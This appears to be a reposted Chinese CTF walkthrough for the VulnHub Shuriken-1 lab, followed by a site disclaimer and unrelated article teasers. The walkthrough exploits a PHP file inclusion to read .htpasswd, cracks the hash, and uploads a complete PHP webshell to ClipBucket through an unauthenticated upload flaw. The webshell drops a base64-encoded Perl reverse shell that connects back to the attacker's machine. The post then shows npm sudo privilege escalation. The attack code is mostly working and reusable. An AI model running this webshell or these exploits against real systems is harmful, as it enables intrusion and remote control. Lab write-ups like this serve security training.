【精选】VulnHub Shuriken-1 (超详细过程思路)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、信息收集

1.主机发现

靶机IP地址是:192.168.3.130

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l 

2.端口扫描

开放了80、8080端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.3.130 

3.web页面

扫描目录:

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.3.130

secret.png 的图片文字是 javascript,作者提示我们应该与 javascript 代码有关,仔细看首页 index.php 中有两个js代码

访问web页面的js

http://shuriken.local/index.php?referer=
http://broadcast.shuriken.local

试着想直接看看能不能访问到,发现域名解析失败,所有直接把域名加入到/etc/hosts

添加完成之后,访问域名,发现需要登录

4.文件包含漏洞

存在文件包含漏洞

访问broadcast.shuriken.local,弹出用户登录框。由于http basic认证,用户名密码为保存在.htaccess或者.htpasswd文件中,文件和位置保存在/etc/apache2/apache2.conf

因此可以用上面的文件包含漏洞读取该文件:

配置文件:/etc/apache2/sites-enabled/000-default.conf

sites-enabled是apache2正在使用的网站配置文件,sites-available是apache2可用的网站配置文件。

enabled中只有一个000-default.conf快捷方式。availbel中有一个000-default.conf和default-ssl.conf两个文件。

000-default.conf是使用http协议网站的默认网站配置文件,而default-ss.conf是https协议网站才使用的默认网站配置文件。

Apache默认目录:/var/www/html

htpasswds是用于创建和更新用于存储HTTP用户基本身份验证的用户名和密码的平面文件。

┌──(root💀kali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf

然后base64解码:

提示我没还需要读这个文件:/etc/apache2/.htpasswd

读取/etc/apache2/.htpasswd文件

┌──(root💀kali)-[~/桌面]
└─# curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd>>123.txt
得到:developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

进行解码

┌──(root💀kali)-[~/桌面]
└─# echo "$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0" > hash.txt

┌──(root💀kali)-[~/桌面]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

得到密码是:`9972761drmfsls`

二、漏洞利用

1.登录网站

账号:developers
密码:9972761drmfsls

查看到CMS框架是:ClipBucket version 4.0

2.ClipBucket

查找下漏洞利用

┌──(root💀kali)-[~/桌面]
└─# searchsploit ClipBucket 

通过exp,知道可以将任意文件上传,不需要经过验证

webshell木马的代码如下:

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.3.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

3.反弹shell

┌──(root💀kali)-[~/桌面]
└─# curl -u developers:9972761drmfsls -F "file=@webshell.php" -F "plupload=1" -F "name=webshll.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"
{"success":"yes","file_name":"1701277954ef7242","extension":"php","file_directory":"2023\/11\/29"}

拼接以后的路径就是:

http://broadcast.shuriken.local/files/photos/2023/11/29/1701277954ef7242.php

再开启一个终端监听,反弹shell

nc -lvvp 4444

python -c 'import pty; pty.spawn ("/bin/bash")'  #交互式shell

三、提权

1.sudo提权

sudo -l

提权网站:

npm | GTFOBins icon-default.png?t=N7T8https://gtfobins.github.io/gtfobins/npm/#sudo

TF=$(mktemp -d): 这一行使用 mktemp -d 命令创建一个临时目录,并将其路径赋值给变量 TF。mktemp -d 用于创建一个临时目录。

echo '{"scripts":{"preinstall":"/bin/sh"}}'$TF/package.json: 这一行使用 echo 命令生成一个包含 npm 脚本的 JSON 文件内容,并将其输出到控制台。具体来说,生成的内容是 {"scripts":{"preinstall":"/bin/sh"}},然后使用 $TF 变量将路径添加到 package.json 文件的末尾。最终的输出是一个 JSON 字符串,表示一个包含 preinstall 脚本的 package.json 文件。

sudo npm -C $TF --unsafe-perm i: 这一行使用 npm 命令在指定的临时目录中执行安装。具体来说:

sudo: 使用管理员权限运行命令,通常用于执行需要更高权限的操作。
npm: Node.js 包管理器。
-C $TF: 指定 npm 在哪个目录中执行操作,这里是指定为之前创建的临时目录。
--unsafe-perm: 以不安全的权限模式运行 npm,通常在以管理员身份执行时需要。它允许在更高的权限下执行 npm 脚本。
i: 是 npm install 的缩写,用于安装项目的依赖项

步骤:

touch package.json
echo '{"scripts":{"dev":"/bin/bash"}}' > package.json
sudo -u server-management npm run dev

2.flag1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/207953.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

spring @Autowired 和 @Qualifier 配合使用实现按名称属性赋值源码

一、调用过程 1、QualifierAnnotationAutowireCandidateResolver.java用于解析注解候选类&#xff0c;在构造器中往qualifierTypes集合中添加注解类。 2、执行逻辑 &#xff08;1&#xff09;、接着上篇博客【Spring之Autowired 属性多实现和单实现源码解析 】AutowiredAnnot…

【话题】程序员养生指南(AI生成)

目录 程序猿可能出现的职业病有哪些&#xff1f; 如何预防和对付这些职业病&#xff1f; 一、颈椎病的预防 二、神经衰弱的调适 三、肩周炎的防护 四、视力下降的保护 五、饮食与运动的重要性 六、消化系统职业病的预防 程序员养生心得&#xff1a;呵护健康&#xff0c…

每天五分钟计算机视觉:经典的卷积神经网络之VGG-16模型

VGG-16 Vgg16是牛津大学VGG组提出来的,相比于AlexNet来说,AlexNet的一个改进是采用连续的几个4*3的卷积核来代替AlexNet中的较大的卷积核(11*11,5*5)。前面我们也说过了使用小卷积核是优于大的卷积核的,因为多层非线性层可以增加网络深度来保证学习到更加复杂的模式,而且代…

Vlan配置

需求 1 PC1和PC3所在接口为Access接口 PC2/4/5/6处于同一网段&#xff0c;其中pc2可以访问pc4/5/6 PC4可以访问pc5&#xff0c;但不能访问pc6 PC5不能访问PC6 2 PC1/3与PC2/4/5/6不再同一网段 3 所有PC通过DHCP获取IP地址&#xff0c;且PC1/3可以正常访问PC2/4/5/6 R1 [V200R00…

(下)11.24_苍穹外卖后端二刷day11day12笔记

其实后面已经没有什么好写的了&#xff0c;就随便写写 day11-5 . StringUtils.join 的用处是将datalist里面的元素一个个取出来&#xff0c;然后用“&#xff0c;” 拼接起来&#xff0c;形成一个字符串类型。 day11-6 LocalDateTime.of 的用处是获取date&#xff08;因为…

算法通关村第六关—二叉树的层次遍历经典问题(白银)

二叉树的层次遍历经典问题 一、层次遍历简介 广度优先遍历又称层次遍历&#xff0c;过程如下&#xff1a;  层次遍历就是从根节点开始&#xff0c;先访问根节点下面一层全部元素&#xff0c;再访问之后的层次&#xff0c;图里就是从左到右一层一层的去遍历二叉树&#xff0c…

LangChain的函数,工具和代理(三):LangChain中轻松实现OpenAI函数调用

在我之前写的两篇博客中:OpenAI的函数调用,LangChain的表达式语言(LCEL)中介绍了如何利用openai的api来实现函数调用功能&#xff0c;以及在langchain中如何实现openai的函数调用功能&#xff0c;在这两篇博客中&#xff0c;我们都需要手动去创建一个结构比较复杂的函数描述变量…

leetCode 131.分割回文串 + 动态规划 + 回溯算法 + 优化 + 图解 + 笔记

我的往期文章&#xff1a; leetCode 647.回文子串 动态规划 优化空间 / 中心扩展法 双指针-CSDN博客https://blog.csdn.net/weixin_41987016/article/details/133883091?spm1001.2014.3001.5501leetCode 131.分割回文串 回溯算法 图解 笔记-CSDN博客https://blog.csdn.n…

杏色主题卧室书房一体装修,温馨舒适的不二之选!福州中宅装饰,福州装修

分享一间暖杏色系卧室装修案例&#xff0c;希望可以给你们一些启发&#xff01; 01.配色&#xff1a;杏色&#xff1b;浅杏色&#xff1b;浅咖色&#xff1b;咖色&#xff1b;茶色 你是否想要一个宁静而优雅的居室&#xff0c;融合了卧室与书房的功能&#xff0c;提供既实用又…

java基础语法总结

导言&#xff1a; Java语言是一种面向对象的编程语言&#xff0c;具有简单、可移植、安全、高性能等特点。本篇文章主要对java的基础的语法进行一个简单的总结和概述。 目录 导言&#xff1a; 正文&#xff1a; 1. 数据类型与变量 2. 运算符与逻辑控制 3. 方法 4. 数组…

如何在C/C++中测量一个函数或者功能的运行时间(串行和并行,以及三种方法的实际情况对比)

本文算是一个比较完整的关于在 C/C 中测量一个函数或者功能的总结&#xff0c;最后会演示三种方法的对比。 最常用的clock() 最常用的测量方法是使用clock()来记录两个 CPU 时间点clock_t&#xff0c;然后做差。这个方法的好处在于非常简单易写&#xff0c;如下&#xff08;第…

探究Kafka原理-4.API使用

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱吃芝士的土豆倪&#xff0c;24届校招生Java选手&#xff0c;很高兴认识大家&#x1f4d5;系列专栏&#xff1a;Spring源码、JUC源码、Kafka原理&#x1f525;如果感觉博主的文章还不错的话&#xff0c;请&#x1f44…

程序员成了teamleader

在职场中,你是否遇到过这样的领导或同事,他可能是自恋狂,自吹自擂自我标榜;可能是团队合作的绊脚石,对团队合作态度消极并频繁拖后腿;可能是抱怨专家,满满负能量;可能是完美主义者,对细节过度挑剔;可能是技术白痴,对技术一窍不通或总是犯低级错误;可能是抢功劳者,…

消息中间件介绍

概述 消息队列已经逐渐成为企业IT系统内部通信的核心手段。它具有低耦合、可靠投递、广播、流量控制、最终一致性等一系列功能&#xff0c;成为异步RPC的主要手段之一。当今市面上有很多主流的消息中间件&#xff0c;如ActiveMQ、RabbitMQ&#xff0c;Kafka&#xff0c;还有阿里…

【工具分享】| 阅读论文神器 使用技巧 AI润色 AI翻译

文章目录 1 使用技巧1.1 功能一 即时翻译1.2 功能二 文献跳转1.3 功能三 多设备阅读1.4 功能四 小组讨论笔记共享1.5 功能五 个人文献管理 2 其他功能 超级喜欢Readpaper这一款论文阅读软件&#xff0c;吹爆他哈哈 为什么&#xff1f; 当然是他可以解决我们传统阅读论文的种种…

Python列表切片操作详解:提取、复制、反转等应用示例

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 在Python中&#xff0c;列表切片是处理列表数据非常强大且灵活的方法。本文将全面探讨Python中列表切片的多种用法&#xff0c;包括提取子列表、复制列表、反转列表等操作&#xff0c;结合丰富的示例代码进行详细…

模糊C均值(Fuzzy C-means,FCM)聚类的可运行的python程序代码,复制即可用!!切记需要安装库 scikit-fuzzy

文章目录 前言一、安装库 scikit-fuzzy二、具体程序代码&#xff08;复制可运行&#xff09;三、结果展示总结 前言 模糊C均值&#xff08;Fuzzy C-means&#xff0c;FCM&#xff09;聚类是一种软聚类方法&#xff0c;它允许数据点属于多个聚类&#xff0c;每个数据点对所有聚…

c语言练习13周(1~5)

输入任意整数n求以下公式和的平方根。 读取一系列的整数 X&#xff0c;对于每个 X&#xff0c;输出一个 1,2,…,X 的序列。 编写double fun(int a[M][M])函数&#xff0c;返回二维数组周边元素的平均值&#xff0c;M为定义好的符号常量。 编写double fun(int a[M])函…

DAPP开发【02】Remix使用

系列文章目录 系列文章在DAPP开发专栏 文章目录 系列文章目录使用部署测试网上本地项目连接remix本地项目连接remix 使用 创建一个新的工作空间 部署测试网上 利用metaMask连接测试网络 添加成功&#xff0c;添加时需要签名 即可进行编译 即可部署 本地项目连接remix 方…

赛氪受邀参加“CCF走进高校”,助力计算机学科发展

赛氪受邀参加“CCF走进高校”&#xff0c;助力计算机学科发展。 12月1日&#xff0c;由中国计算机学会计算机应用专业委员会组织的第十二届第十六次常务委员(扩大)会议顺利召开&#xff0c;赛氪受邀参加。 本次会议“CCF走进东北师大以及长春工业大学”&#xff0c;围绕《水声…